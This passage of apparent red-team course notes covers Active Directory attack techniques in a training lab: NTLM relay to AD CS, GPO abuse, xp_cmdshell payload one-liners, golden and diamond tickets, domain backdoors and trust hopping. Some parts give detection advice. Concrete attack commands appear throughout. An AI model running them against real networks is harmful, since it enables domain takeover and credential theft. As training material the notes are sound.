In the default configuration, these endpoints are vulnerable
to NTLM relay attacks. A common abuse method is to
coerce a domain controller to authenticate to an attacker-
controller location, relay the request to the CA and obtain a
certificate for that DC, then use it to obtain a TGT.

As well as PrintSpooler, SharpSystemTriggers contains other


remote authentication methods.

Another aspect to be aware of is that you cannot relay


authentication back to the original machine. In this setup,
the CA is running on DC-1, which means we cannot
PrintSpooler (or other) DC-1 and relay it back to the same
machine and get a certificate for DC-1.
Instead, we'll use WKSTN-3 as an example.

As SYSTEM on SRV-1:

• Use PortBender to capture incoming traffic on port 445 and redirect it


to port 8445.
• Start a reverse port forward to forward traffic hitting port 8445 to the
Team Server on port 445.
• Start a SOCKS proxy for ntlmrelayx to send traffic back into the
network.

165/279
Start ntlmrelayx with proxychains:

Where:
• 10.10.15.75 is DC-1.

Next, use one of the remote authentication methods to force


a connection from WKSTN-3 to SRV-1.

166/279
Where:
• 10.10.15.254 is WKSTN-3.
• 10.10.17.25 is SRV-1.

We see the connection in the Beacon running PortBender.

We also see the relay magic on Kali, and eventually receive


a base64 encoded ticket (output slightly trimmed for brevity).

After obtaining a TGT with the certificate, the S4U2self trick


can be used to obtain a TGS for any service on the machine,
on behalf of any user.

User & Computer Persistence


As we saw in the Active Directory Certificate Services
module, certificates can be leveraged for privilege
167/279
escalation.

They can also be useful for maintaining persistent access to


both users and computers. This is especially viable if
managerial approval is not required for certificate requests.

User Persistence
In this example, I have a Beacon running as DEV\nlamb.
Use Certify to find all the certificates that permit client
authentication:

This will show every certificate template in both CA-1 and


CA-2 that has a suitable EKU (Extended Key Usage) for client
authentication, so we need to search the output for a
template that matches our requirements.

To limit the volume of output, we can only return templates


from the CA in our current domain, using /
ca:dc-2.dev.cyberbotic.io\ca-2.

It is possible that CA-1 could have templates that we could


enrol with, so if nothing was found on CA-2 make sure to
check other CAs as well.

168/279
This is the default User template provided by Microsoft. The
important aspects are:

• The validity period is 1 year.


• Authorization is not required.
• Domain Users in DEV have enrollment rights.

Request a certificate from this template using Certify.exe


request:

169/279
This certificate allows us to request a TGT for nlamb using
Rubeus. It's valid for 1 year (yes, we can use it to request
TGTs for an entire year), and will continue working even if the
user changes their password. It's an excellent user
persistence method because it doesn't involve touching
LSASS and can be utilised without the need for an elevated
context.

The certificate will only become in invalid if it's specifically


revoked on the CA.

Computer Persistence

This scenario is not all that different from above. Machines


are a special type of user in AD and can have their own
certificates issued.

The default template for computers is called Machine (the


template display name is Computer). By default they are also
valid for 1 year, do not require authorization, and all domain
computers have enrollment rights.

The /machine parameter tells Certify to auto-elevate to


SYSTEM and assume the identity of the machine account (for
which you need to be running in high-integrity).

AD CS Auditing
170/279
AD CS logging is not enabled by default, so it's unsurprisingly common
for defenders to be blind to this activity in their domain.

Logging must be specifically enabled, for which for the following options
are available:

must also be enabled via GPO to


Audit Certification Services
Success and/or Failure depending on the tolerance of the
organisation.

When a certificate request is made, the CA generates a 4886


event, "Certificate Services received a certificate request".
You can find these in Kibana with: event.code: 4886

If the request was successful, and a certification issued.


The CA generates a 4887 event.

171/279
This request was generated following the steps in
"Misconfigured Certificate Templates". You'll notice that
there's very little useful information here - the template
name is not logged and neither is the subject alternate
name.

There's practically no indication that this is a malicious


request. A defender would have to go to the CA itself and
lookup the certificate by way of the Request ID.

172/279
Only then do we see that iyates obtained a certificate for nglover.

When a TGT is requested, the DC generates a 4768. If a


certificate was used, this is shown in the log.

Again, this is not easy to correlate, as we have to go to the


CA and find the actual certificate that was used by its serial
number or thumbprint. Overall, ADCS logging is not terribly
easy to deal with.

173/279
Group Policy
Group Policy is the central repository in a forest or domain
that controls the configuration of computers and users. Group
Policy Objects (GPOs) are sets of configurations that are
applied to Organisational Units (OUs).

Any users or computers that are members of the OU will


have those configurations applied.
By default, only Domain Admins can create GPOs and link
them to OUs but it's common practice to delegate those
rights to other teams, e.g. delegating workstation admins
permissions to create and link GPOs to a Workstation OU.

It's relatively easy to create privilege escalation


opportunities when a group of users have permissions to
influence the GPOs applied to privileged users; or to a
computer used by privileged users. GPOs can also be
leveraged to move laterally and create persistence
backdoors.

Any domain user can enumerate the permissions on GPOs


and OUs - so we can find users who can:

• Create GPOs
• Modify existing GPOs
• Link GPOs to OUs

We can abuse these by modifying existing GPOs or creating


and linking new GPOs to gain code execution or otherwise
manipulate computer configurations.

174/279
This PowerView query will show the Security Identifiers (SIDs)
of principals that can create new GPOs in the domain, which
can be translated via ConvertFrom-SID.

This query will return the principals that can write to the GP-
Link attribute on OUs:

From this output, we can see that the 1st Line Support
domain group can both create new GPOs and link them to
several OUs.

This can lead to a privilege escalation if more privileged


users are authenticated to any of the machines within those
OUs.

Also imagine if we could link GPOs to an OU containing


sensitive file or database servers - we could use those GPOs
to access those machines and subsequently the data stored
on them.

You can also get a list of machines within an OU.

175/279
You'll often find instances where users and / or groups can
modify existing GPOs.

This query will return any GPO in the domain, where a 4-digit
RID has WriteProperty, WriteDacl or WriteOwner.
Filtering on a 4-digit RID is a quick way to eliminate the
default 512, 519, etc results.

To resolve the ObjectDN:

In BloodHound: MATCH (gr:Group), (gp:GPO), p=((gr)-[:GenericWrite]-


>(gp)) RETURN p

Pivot Listeners
176/279
This is a good time to segway to talk about Cobalt Strike's Pivot Listener.

This is another type of P2P listener that (currently only) uses TCP, but it
works in the opposite direction to the regular TCP listener.

When you spawn a Beacon payload that uses the TCP listener, that
Beacon acts as a TCP server and waits for an incoming connection from
an existing Beacon (TCP client).

Pivot Listeners are not created via the Listeners menu, but are bound to
individual Beacons. This existing Beacon will bind a port and listen for
incoming connections (acting as the TCP server), and a Beacon payload
that uses the Pivot Listener will act as the TCP client.

Why is this useful?


In scenarios such as GPO abuse, you don't know when the target will
actually execute your payload and therefore when you need issue the
connect command.

When a Beacon checks in over a Pivot listener, it will appear in the UI


immediately without having to manually connect to it.
To start a Pivot Listener on an existing Beacon, right-click it and select
Pivoting > Listener.

Once started, your selected port will be bound on that


machine.

Like other P2P listeners, you need to consider whether this


port will be reachable (i.e. the Windows Firewall may block it)

177/279
and act accordingly.

A well configured and locked-down firewall can significantly


increase the difficultly of lateral movement.

• If port 445 is closed on the target, we can't use SMB listeners.


• If the target firewall doesn't allow arbitrary ports inbound, we can't use
TCP listeners.
• If the current machine doesn't allow arbitrary ports inbound, we can't
use Pivot listeners.

It may become necessary to strategically open ports on the


Windows firewall to facilitate lateral movement. This can be
done with the built-in netsh utility. To add an allow rule:

netsh advfirewall firewall add rule name="Allow 4444" dir=in


action=allow protocol=TCP localport=4444

To remove that rule:

netsh advfirewall firewall delete rule name="Allow 4444" protocol=TCP


localport=4444

You can generate payloads for the pivot listener in exactly


the same way as other listeners. When executed on a target,
you should see the Beacon appear automatically.

You will also notice the arrow is pointing the opposite


direction compared to a normal TCP Beacon.

178/279
Remote Server Administration Tools
(RSAT)
RSAT is a management component provided by Microsoft to
help manage components in a domain. Since it's a legitimate
management tool and often found on management
workstations and servers, it can be useful to leverage without
having to bring in external tooling.

The GroupPolicy module has several PowerShell cmdlets that


can be used for administering GPOs, including:

• New-GPO: Create a new, empty GPO.


• New-GPLink: Link a GPO to a site, domain or OU.
• Set-GPPrefRegistryValue: Configures a Registry preference item under
either Computer or User Configuration.
• Set-GPRegistryValue: Configures one or more registry-based policy
settings under either Computer or User Configuration.
• Get-GPOReport: Generates a report in either XML or HTML format.

You can check to see if the GroupPolicy module is installed


with Get-Module -List -Name GroupPolicy | select -
expand ExportedCommands.

In a pinch, you can install it with Install-WindowsFeature


179/279
–Name GPMC as a local admin.
Create a new GPO and immediately link it to the target OU.

Being able to write anything, anywhere into the HKLM or


HKCU hives presents different options for achieving code
execution.

One simple way is to create a new autorun value to execute


a Beacon payload on boot.

Being able to write anything, anywhere into the HKLM or


HKCU hives presents different options for achieving code
execution. One simple way is to create a new autorun value
to execute a Beacon payload on boot.

180/279
MEJOR PONER %COMSPEC% /b /c start /b /min. en la creacion de la
GPO en vez del comando cmd.exe

Every machine will typically refresh their GPOs automatically


every couple of hours. To do it manually, use the Lab
Dashboard to access the WKSTN-2 Console and execute
gpupdate /target:computer /force in a Command Prompt.

Use regedit to verify the new registry value has been


applied and then reboot WKSTN-2. When it starts up again,
reconnect to the console and the payload will execute.

181/279
SharpGPOAbuse
SharpGPOAbuse allows a wider range of "abusive"
configurations to be added to a GPO. It cannot create GPOs,
so we must still do that with RSAT or modify one we already
have write access to. In this example, we add an Immediate
Scheduled Task to the PowerShell Logging GPO, which will
execute as soon as it's applied.

As all the machines in the domain refresh their GPOs (or if you do it
manually), many Beacons you shall have!

182/279
Discretionary Access Control Lists
There may be instances across the domain where some
principals have ACLs on more privileged accounts, that allow
them to be abused for account-takeover.

A simple example of this could be a "support" group that can


reset the passwords of "Domain Admins".

We can start off by targeting a single principal. This query


will return any principal that has GenericAll, WriteProperty
or WriteDacl on jadams.

183/279
We could also cast a wider net and target entire OUs.

In BloodHound, this query returns a lot of information which


can look a bit confusing.

MATCH (g1:Group), (g2:Group), p=((g1)-[:GenericAll]->(g2)) RETURN p

We can narrow it down with:

MATCH (g1:Group {name:"1ST LINE [email protected]"}),


(g2:Group), p=((g1)-[:GenericAll]->(g2)) RETURN p

184/279
Reset User Password
Reset a user's password (pretty bad OPSEC).

185/279
Targeted Kerberoasting
Instead of changing the password we can set an SPN on the
account, kerberoast it and attempt to crack offline.

Targeted ASREPRoasting
This is the same idea as above. Modify the User Account
Control value on the account to disable preauthentication
and then ASREProast it.

186/279
Modify Domain Group Membership
If we have the ACL on a group, we can add and remove
members.

187/279
There are other interesting DACLs that can lead to similar
abuses. For instance with WriteDacl you can grant GenericAll
to any principal. With WriteOwner, you can change the
ownership of the object to any principal which would then
inherit GenericAll over it.

MS SQL Servers
Microsoft SQL Server is a relational database management
system commonly found in Windows environments.

They’re typically used to store information to support a


myriad of business functions. In addition to the obvious data
theft opportunities, they also have a large attack surface,
allowing code execution, privilege escalation, lateral
movement and persistence.

PowerUpSQL is an excellent tool for enumerating and


interacting with MS SQL Servers.
There are a few "discovery" cmdlets available for finding MS
188/279
SQL Servers, including Get-SQLInstanceDomain, Get-
SQLInstanceBroadcast and Get-SQLInstanceScanUDP.

Get-SQLInstanceDomain works by searching for SPNs that


begin with MSSQL*.

This output shows that srv-1.dev.cyberbotic.io is


running an instance of MS SQL server, being run under the
context of the svc_mssql domain account.

BloodHound also has an edge for finding potential MS SQL


Admins, based on the assumption that the account running
the SQL Service is also a sysadmin (which is very common);

MATCH p=(u:User)-[:SQLAdmin]->(c:Computer) RETURN p

You may also search the domain for groups that sound like
they may have access to database instances (for instance,
there is a MS SQL Admins group).

Once you've gained access to a target user, Get-

189/279
SQLConnectionTest can be used to test whether or not we
can connect to the database.

Then use Get-SQLServerInfo to gather more information about


the instance.

190/279
From this output, we can see that bfarmer has the sysadmin
role on the instance.

There are several options for issuing queries against a SQL


instance.

Get-SQLQuery from PowerUpSQL:

mssqlclient.py from Impacket via proxychains:

MS SQL NetNTLM Capture


The xp_dirtree procedure can be used to capture the
NetNTLM hash of the principal being used to run the MS SQL
Service.

191/279
We can use InveighZero to listen to the incoming requests (this
should be run as a local admin).

Now execute EXEC xp_dirtree '\\10.10.17.231\pwn', 1, 1 on


the MS SQL server, where 10.10.17.231 is the IP address of
the machine running InveighZero.

Use --format=netntlmv2 --wordlist=wordlist svc_mssql-


netntlmv2 with john or -a 0 -m 5600 svc_mssql-netntlmv2
wordlist with hashcat to crack.

This is useful because the SQL Instance may be being run by


a privileged account, sometimes even a Domain Admin.

InveighZero will ignore traffic coming from accounts that are


generally deemed to be "uncrackable" such as computer
accounts.
192/279
You may also use the WinDivert + rportfwd combo (shown on
the NTLM Relaying page) with Impacket's smbserver.py to
capture the NetNTLM hashes.

MS SQL Command Execution


The xp_cmdshell procedure can be used to execute shell
commands on the SQL server. Invoke-SQLOSCmd from
PowerUpSQL provides a simple means of using it.

To execute manually (in Heidi/mssqlclient.py), try:

However, you will see this error:


193/279
To enumerate the current state of xp_cmdshell, use:

A value of 0 shows that xp_cmdshell is disabled. To enable it:

Query sys.configurations again and the xp_cmdshell value


should be 1; and now EXEC xp_cmdshell 'whoami' will work.
194/279
With command shell execution, spawning a Beacon can be as
easy as a PowerShell one-liner.

kali IP: 10.10.5.120

195/279
EXEC xp_cmdshell 'powershell -w hidden -enc <blah>';

196/279
There is a SQL command length limit that will prevent you
from sending large payloads directly in the query, and the
SQL servers cannot reach your Kali IP directly. Reverse Port
Forwards and Pivot Listeners are your friends.

MS SQL Lateral Movement


SQL Servers have a concept called "Linked Servers", which
allows a database instance to access data from an external
source. MS SQL supports multiple sources, including other MS
SQL Servers.

These can also be practically anywhere - including other


domains, forests or in the cloud.

We can discover any links that the current instance has:

SELECT * FROM master..sysservers;

We can query this remote instance over the link using


OpenQuery:

SELECT * FROM OPENQUERY("sql-1.cyberbotic.io", 'select


@@servername');
197/279
SELECT * FROM OPENQUERY("sql-1.cyberbotic.io", 'SELECT * FROM
sys.configurations WHERE name = ''xp_cmdshell''');

If xp_cmdshell is disabled, you can't enable it by executing


sp_configure via OpenQuery. If RPC Out is enabled on the link
(which is not the default configuration), then you can enable
xpcmdshell using the following syntax:

EXEC('sp_configure ''show advanced options'', 1; reconfigure;') AT


[target instance] -> SRV-1, por ejemplo
EXEC('sp_configure ''xp_cmdshell'', 1; reconfigure;') AT [target instance]

Manually querying databases to find links can be


cumbersome and time-consuming, so you can also use Get-
SQLServerLinkCrawl to automatically crawl all available links.

198/279
This output shows a chain from SRV-1 >
SQL-1.CYBERBOTIC.IO >
SQL01.ZEROPOINTSECURITY.LOCAL, the links are configured
with local sa accounts, and we have sysadmin privileges on
each instance.

199/279
200/279
10.10.17.25 es el SRV-1 donde se esta haciendo el portforwading del
puerto 8080 al 80

To execute a shell command on sql-1.cyberbotic.io:

SELECT * FROM OPENQUERY("sql-1.cyberbotic.io", 'select


@@servername; exec xp_cmdshell ''powershell -w hidden -enc blah''')

201/279
And to execute a shell command on
sql01.zeropointsecurity.local, we have to embed multiple
OpenQuery statements (the single quotes get exponentially
more silly the deeper you go):

SELECT * FROM OPENQUERY("sql-1.cyberbotic.io", 'select * from


openquery("sql01.zeropointsecurity.local", ''select @@servername; exec
xp_cmdshell ''''powershell -enc blah'''''')')

MS SQL Privilege Escalation


This instance of SQL is running as NT Service\MSSQL$SQLEXPRESS,
which is generally configured by default on more modern
SQL installers.

It has a special type of privilege called SeImpersonatePrivilege.


This allows the account to "impersonate a client after
authentication"

202/279
In a nutshell, this privilege allows the user to impersonate a
token that it's able to get a handle to.

However, since this account is not a local admin, it can't just


get a handle to a higher-privileged process (e.g. SYSTEM)
already running on the machine.

A strategy that many authors have come up with is to force


a SYSTEM service to authenticate to a rogue or man-in-the-
middle service that the attacker creates.

This rogue service is then able to impersonate the SYSTEM


service whilst it's trying to authenticate.

SweetPotato has a collection of these various techniques


which can be executed via Beacon's execute-assembly
command.

203/279
204/279
205/279
SweetPotato needs to be compiled in Release mode, to
ensure the NtApiDotNet assembly is merged.
206/279
Domain Dominance
The term "domain dominance" is used to describe a state
where an attacker has reached a high level of privilege in a
domain (such as Domain or Enterprise Admins) and collected
credential material or placed backdoors that

1) allows them to maintain that level of access almost


indefinitely
2) makes it practically impossible that the domain or forest
can ever be considered "clean" beyond reasonable doubt.

If you've ever seen this joke before, well… it's true.

DCSync Backdoor
DCSync is a technique which replicates the MS-DRSR
protocol to replicate AD information, including password
hashes.

Under normal circumstances, this is only ever performed by


(and between) Domain Controllers. There are specific DACLs
relating to DCSync called Replicating Directory Changes
[All/In Filtered Set], which by default is only granted to
Enterprise/Domain Admins and Domain Controllers.

These are set on the root domain object. Enterprise/Domain


Admins can also modify these DACLs, and can therefore
grant the Replicating Directory Change rights to other
207/279
principals, whether that be a user, group or computer.

Add-DomainObjectAclfrom PowerView can be used to add a


new ACL to a domain object. If we have access to a domain
admin account, we can grant dcsync rights to any principal in
the domain (a user, group or even computer).

Once the change has been made, inspect the domain object
and you will see the changes that have been made.

208/279
209/279
AdminSDHolder Backdoor
The AdminSDHolder is a DACL template used to protect
sensitive principals from modification.

You can test this in the lab by modifying the DACL on the
Domain Admins domain group (e.g. give bfarmer full
control). Within ~60 minutes, you will find this entry will
have vanished.
Protected objects include Enterprise & Domain Admins,
Schema Admins, Backup Operators and krbtgt.

The AdminSDHolder itself is not protected so if we modify


the DACL on it, those changes will be replicated to the
subsequent objects.

So even if an admin see's a rogue DACL on group such as


the DA's and removes it, it will just be reapplied again.

210/279
Once this propagates, the principal will have full control over
the aforementioned sensitive principals.

211/279
212/279
Remote Registry Backdoor
The DAMP project can implement host-based DACL
backdoors to enable the remote retrieval of secrets from a
machine, including SAM and domain cached hashes.

Add-RemoteRegBackdoor can be run locally on a


compromised machine, or remotely with credentials.

213/279
Skeleton Key
The Skeleton Key is only applicable to Domain Controllers - it
patches LSASS to hijack the usual NTLM and Kerberos
authentication flows and permits any user to be
authenticated with the password mimikatz (their real
passwords still work too).

214/279
Before:

Install the key:

After:

215/279
The skeleton key cannot be removed unless the domain controller is
rebooted and it can cause side effects such as replication issues.

Silver Tickets
A Silver Ticket is a forged TGS, signed using the secret
material (RC4/AES keys) of a machine account.

You may forge a TGS for any user to any service on that
machine, which is useful for short/medium-term persistence
(until the computer account password changes, which is
every 30 days by default).

216/279
Silver and Golden (below) tickets can be generated "offline"
and imported into your session.

This saves executing Mimikatz on the target unnecessarily


which is better OPSEC. Generating both silver and golden
tickets can be done with the Mimikatz kerberos::golden
module.
On your attacking machine:

Where:
• /user is the username to impersonate.
• /domain is the current domain name.
• /sid is the current domain SID.
• /target is the target machine.
• /aes256 is the AES256 key for the target machine.
• /ticket is the filename to save the ticket as.

217/279
218/279
Golden Tickets
A Golden Ticket is a forged TGT, signed by the domain's
219/279
krbtgt account. Whereas a Silver Ticket can be used to
impersonate any user, it's limited to either that single service
or to any service but on a single machine.

A Golden Ticket can be used to impersonate any user, to any


service, on any machine in the domain; and to add insult to
injury - the underlying credentials are never changed
automatically. For that reason, the krbtgt NTLM/AES is
probably the single most powerful secret you can obtain (and
is why you see it used in dcsync examples so frequently).

220/279
There are a few methods to help detect golden tickets. The
221/279
more concrete ways are by inspecting Kerberos traffic on the
wire.

By default, Mimikatz signs the TGT for 10 years, which will


stand out as anomalous in subsequent TGS requests made
with it.

Lifetime : 3/11/2021 12:39:57 PM ; 3/9/2031


12:39:57 PM ; 3/9/2031 12:39:57 PM

Use the /startoffset, /endin and /renewmax parameters


to control the start offset, duration and the maximum
renewals (all in minutes).

Get-DomainPolicy | select -expand KerberosPolicy.

Unfortunately, the TGT's lifetime is not logged in 4769's, so


you won't find this information in the Windows event logs.

However, what you can correlate is seeing 4769's without a


prior 4768. It's not possible to request a TGS without a TGT,
and if there is no record of a TGT being issued, we can infer
that it was forged offline.

Other little tricks defenders can do is alert on 4769's for


sensitive users such as the default domain administrator
account.

Diamond Tickets
Like a golden ticket, a diamond ticket is a TGT which can be
used to access any service as any user.

A golden ticket is forged completely offline, encrypted with


222/279
the krbtgt hash of that domain, and then passed into a logon
session for use.

Because domain controllers don't track TGTs it (or they)


have legitimately issued, they will happily accept TGTs that
are encrypted with its own krbtgt hash.

As previously mentioned, there are two common techniques


to detect the use of golden tickets:

• Look for TGS-REQs that have no corresponding AS-REQ.


• Look for TGTs that have silly values, such as Mimikatz's default 10-year
lifetime.

A diamond ticket is made by modifying the fields of a


legitimate TGT that was issued by a DC.

This is achieved by requesting a TGT, decrypting it with the


domain's krbtgt hash, modifying the desired fields of the
ticket, then re-encrypting it.

This overcomes the two aforementioned shortcomings of a


golden ticket because:

• TGS-REQs will have a preceding AS-REQ.


• The TGT was issue by a DC which means it will have all the correct
details from the domain's Kerberos policy. Even though these can be
accurately forged in a golden ticket, it's more complex and open to
mistakes.

First we prove we have no access to the DC as bfarmer.

223/279
Diamond tickets can now be created with Rubeus.

Where:

• /tgtdeleg uses the Kerberos GSS-API to obtain a useable TGT for the
user without needing to know their password, NTLM/AES hash, or
elevation on the host.
• /ticketuser is the username of the principal to impersonate.
• /ticketuserid is the domain RID of that principal. This can be
obtained using a command like powershell Get-DomainUser -
Identity nlamb -Properties objectsid.
• /groups are the desired group RIDs (512 being Domain Admins).
• /krbkey is the krbtgt AES256 hash.

224/279
Rubeus describe will now show that this is a TGT for the
target user.

And we can leverage it to access a resource such as the


domain controller.

225/279
Forged Certificates
In larger organisations, the AD CS roles are installed on
separate servers and not on the domain controllers
themselves.

226/279
Often times, they are also not treated with the same
sensitivity as DCs. So whereas only EAs and DAs can access/
manage DCs, "lower level" roles such as server admins can
often access the CAs.

So although this can be also seen a privilege escalation, it's


just as useful as a domain persistence method.

Gaining local admin access to a CA allows an attacker to


extract the CA private key, which can be used to sign a
forged certificate (think of this like the krbtgt hash being able
to sign a forged TGT).

The default validity period for a CA private key is 5 years, but


this can obviously be set to any value during setup,
sometimes as high as 10+ years.

Once on a CA, SharpDPAPI can extract the private keys.

227/279
You can generally tell this is the private CA key because the
Issuer and Subject are both set to the distinguished name of
the CA.

With any luck, the expiry date will also be long into the
future. Save the output to a .pem file and convert it to a
.pfx with openssl on Kali, then move it back to the attacker-
windows machine.

The next step is to build the forged certificate with ForgeCert.

228/279
Even though you can specify any SubjectAltName, the user
does need to be present in AD.
In this example, the default Administrator account is used.
Then we can simply use Rubeus to request a legitimate TGT
with this forged certificate and use it to access the domain
controller.

We're not limited to forging user certificates, we can do the


same for machines. Combine this with the S4U2self trick to
gain access to any machine or service in the domain.

Forest & Domain Trusts


At a basic level, a trust relationship enables users in one
domain to authenticate and access resources in another
domain.
229/279
This works by allowing authentication traffic to flow between
them using referrals. When a user requests access to a
resource outside of their current domain, their KDC will
return a referral ticket pointing to the KDC of the target
domain.

The user's TGT is encrypted using an inter-realm trust key


(rather than the local krbtgt), which is often called an inter-
realm TGT. The foreign domain decrypts this ticket, recovers
the user's TGT and decides whether they should be granted
access to the resource or not.

Trusts can be one-way or two-way; and transitive or non-


transitive.
A one-way trust allows principals in the trusted domain to
access resources in the trusting domain, but not vice versa.

A two-way trust is actually just two one-way trusts that go in


the opposite directions, and allows users in each domain to
access resources in the other. Trust directions are confusing
as the direction of the trust is the opposite to the direction of
access.

230/279
If Domain A trusts Domain B, Domain A is the trusting
domain and Domain B is the trusted domain.

But this allows users in Domain B to access Domain A, not A


to B. To further complicate things, one-way trusts can be
labelled as Inbound or Outbound depending on your
perspective.

In Domain A, this would be an Outbound trust; and in Domain


B, this would be an Inbound trust.

Transitivity defines whether or not a trust can be chained. For


instance - if Domain A trusts Domain B, and Domain B trusts
Domain C; then A also trust C. If these domains are owned
by different entities, then there are obvious implications in
terms of the trust model…

Parent/Child
When a child domain is added to a forest, it automatically
231/279
creates a transitive, two-way trust with its parent.

This be found in the lab where dev.cyberbotic.io is a child


domain of cyberbotic.io.

SourceName is the current domain, TargetName is the foreign


domain, TrustDirection is the trust direction (bidirectional is two-way),
and TrustAttributes: WITHIN_FOREST let's us know that both of
these domains are part of the same forest which implies a parent/child
relationship.

If we have Domain Admin privileges in the child, we can also gain


Domain Admin privileges in the parent using a TGT with a special
attribute called SID History. SID History was designed to support
migration scenarios, where a user would be moved from one domain to
another.

To preserve access to resources in the "old" domain, the user's previous


SID would be added to the SID History of their new account. So when
creating such a ticket, the SID of a privileged group (EAs, DAs, etc) in
the parent domain can be added that will grant access to all resources
in the parent.
This can be achieved using either a Golden or Diamond Ticket.

232/279
Golden Ticket

The process is the same as creating Golden Tickets


previously, the only additional information required is the SID
of a target group in the parent domain.

Create the golden ticket:

Where:
• /user is the username to impersonate.
• /domain is the current domain.
• /sid is the current domain SID.
• /sids is the SID of the target group to add ourselves to.
• /aes256 is the AES256 key of the current domain's krbtgt account.
• /startoffset sets the start time of the ticket to 10 mins before the
current time.
• /endin sets the expiry date for the ticket to 60 mins.
• /renewmax sets how long the ticket can be valid for if renewed.

233/279
Diamond Ticket

The Rubeus diamond command also has a /sids parameter,


with which we can supply the extra SIDs we want in our
ticket.

234/279
If dev.cyberbotic.io also had a child (e.g.
test.dev.cyberbotic.io), then a DA in TEST would be able to
use their krbtgt to hop to DA/EA in cyberbotic.io instantly
because the trusts are transitive.

There are also other means which do not require DA in the


child, some of which we've already seen. You can also
kerberoast and ASREProast across domain trusts, which may
lead to privileged credential disclosure. Because principals in
CYBER can be granted access to resources in DEV, you may
find instances where they are accessing machines we have
compromised.

If they interact with a machine with unconstrained


delegation, we can capture their TGTs. If they're on a
machine interactively, e.g. over RDP, we can impersonate
them just like any other user.

One-Way (Inbound)
dev.cyberbotic.io has a one-way inbound trust with
subsidiary.external.

235/279
Because the trust is inbound from our perspective, it means
that principals in our domain can be granted access to
resources in the foreign domain. We can enumerate the
foreign domain across the trust.

SharpHound -c DcOnly -d subsidiary.external will also work.

Get-DomainForeignGroupMember will enumerate any groups that


contain users outside of its domain and return its members.

This output shows that there's a member of the domain's


built-in Administrators group who is not part of
subsidiary.external. The MemberName field contains a SID
that can be resolved in our current domain.
236/279
If this is confusing, this is how it looks from the perspective of the
subsidiary.external's domain controller.

Get-NetLocalGroupMembercan enumerate the local group


membership of a machine. This shows that DEV\Subsidiary
Admins is a member of the local Administrators group on the
domain controller.

This is a slightly contrived example - you may also


237/279
enumerate where foreign groups and/or users have been
assigned local admin access via Restricted Group by
enumerating the GPOs in the foreign domain.

To hop the trust, we need to impersonate a member of this


domain group. If you can get clear text credentials,
make_token is the most straight forward method.

If you only have the user's RC4/AES keys, we can still request
Kerberos tickets with Rubeus but it's more involved. We need
an inter-realm key which Rubeus won't produce for us
automatically, so we have to do it manually.

First, we need a TGT for the principal in question. This TGT

238/279
will come from the current domain.

Next, request a referral ticket from the current domain, for


the target domain.

Notice how this inter-realm ticket is of type rc4_hmac even


though our TGT was aes256_cts_hmac_sha1. This is the default
configuration unless AES has been specifically configured on
the trust, so this is not necessary "bad OPSEC".

Finally, use this inter-realm TGT to request a TGS in the


239/279
target domain.

Write this base64 encoded ticket to a file on your machine.

PS C:\> [System.IO.File]::WriteAllBytes("C:
\Users\Administrator\Desktop\subsidiary.kirbi",
[System.Convert]::FromBase64String("doIFiD [...snip...] 5hbA=="))

Create a sacrificial logon session and import the ticket.

240/279
Foreign Principals can also have DACL abuse primitives,
where DEV\Subsidiary Admins could have abusable DACLs on
principals within the subsidiary.external domain.

One-Way (Outbound)
This can be the most difficult type of trust to hop. Remember
that if Domain A trusts Domain B, users in Domain B can
access resources in Domain A but users in Domain A should
not be able to access resources in Domain B.

241/279
If we're in Domain A, it's by design that we should not be
able to access Domain B, but there are circumstances in
which we can slide under the radar.

One example includes a SQL Server link created in the


opposite direction of the domain trust (see MS SQL Servers
).

Another, perhaps more realistic scenario, is via RDP drive


sharing (a technique dubbed RDPInception).

When a user enables drive sharing for their RDP session, it


creates a mount-point on the target machine that maps back
to their local machine. If the target machine is compromised,
we may migrate into the user's RDP session and use this
mount-point to write files directly onto their machine.

This is useful for dropping payloads into their startup folder


which would be executed the next time they logon.
cyberbotic.io has an outbound trust with
zeropointsecurity.local.

We can actually perform this query from dev.cyberbotic.io


. Domains may ask other domains that they have trusts with,
what their trusts are. So cyberbotic.io will happily tell
242/279
dev.cyberbotic.io that it was a trust with
zeropointsecurity.local. If running that query from
inside cyberbotic.io, just run Get-DomainTrust without
the -Domain parameter.

Unfortunately, we're not able to enumerate the foreign


domain across an outbound trust. So running something like
Get-DomainComputer -Domain zeropointsecurity.local
will not return anything. You will probably see an error like:

Exception calling "FindAll" with "0" argument(s): "A referral was returned
from the server.

Instead, the strategy is to find principals in cyberbotic.io that


are not native to that domain, but are from
zeropointsecurity.local.

This shows us that there's a domain group in cyberbotic.io


called Jump Users, which contains principals that are not
from cyberbotic.io.

These ForeignSecurityPrincipals are like aliases, and


even though the SID of the foreign principal is used as a
reference, we can't do anything like ConvertFrom-SID to
find out what that principal actually is.

A methodology that has worked well for me in the past, is to


enumerate the current domain (cyberbotic.io) and find
instances where members of the Jump Users group have
privileged access (local admins, RDP/WinRM/DCOM access
243/279
etc), move laterally to those machines, and camp there until
you see a member authenticate. Then, impersonate them to
hop the trust.

BloodHound will show that Jump Users have first degree


RDP rights to EXCH-1 and SQL-1.

Get-DomainGPOUserLocalGroupMappingand Find-
DomainLocalGroupMember can both work as well.

Move laterally to sql-1.cyberbotic.io. Then access the


console of sql01.zeropointsecurity.local via the lab
dashboard, and open Remote Desktop Connection.

RDP into sql-1.cyberbotic.io as ZPS\jean.wise. Ensure


that you go into Local Resources, click More under Local
devices and resources and enable Drives sharing.

From the perspective of the Beacon running on SQL-1, we'll


244/279
see the logon session:

Move laterally to sql-1.cyberbotic.io. Then access the


console of sql01.zeropointsecurity.local via the lab
dashboard, and open Remote Desktop Connection.

RDP into sql-1.cyberbotic.io as ZPS\jean.wise. Ensure


that you go into Local Resources, click More under Local
devices and resources and enable Drives sharing.

From the perspective of the Beacon running on SQL-1, we'll


see the logon session:

The network connection:

And associated processes:

245/279
Our next set of actions depends on a few things.

1. Does jean.wise have any privileged access in


zeropointsecurity.local?
2. Can we reach any useful ports/services (445, 3389, 5985 etc) in
zeropointsecurity.local?

We haven't been able to answer the first question (yet)


because we can't enumerate the domain across the trust.
The second question can be answered using the portscan
command in Beacon.

It appears as though we can access some useful ports on


both dc01 and sql01.
246/279
Inject a Beacon into one of jean.wise's processes.

In that Beacon, we are jean.wise.

If we import a tool, like PowerView and do Get-Domain, we get


a result that is actually returned from the
zeropointsecurity.local domain.

This works because we're inside a valid


zeropointsecurity.local domain context. We didn't
perform any authentication across that trust, we simply
hijacked an existing authenticated session.

We can now enumerate the foreign domain, run PowerView,


SharpView, SharpHound, whatever we like.

If jean.wise has privileged access in


zeropointsecurity.local, it would be fairly trivial to move
laterally from this domain context. We can figure out that
247/279
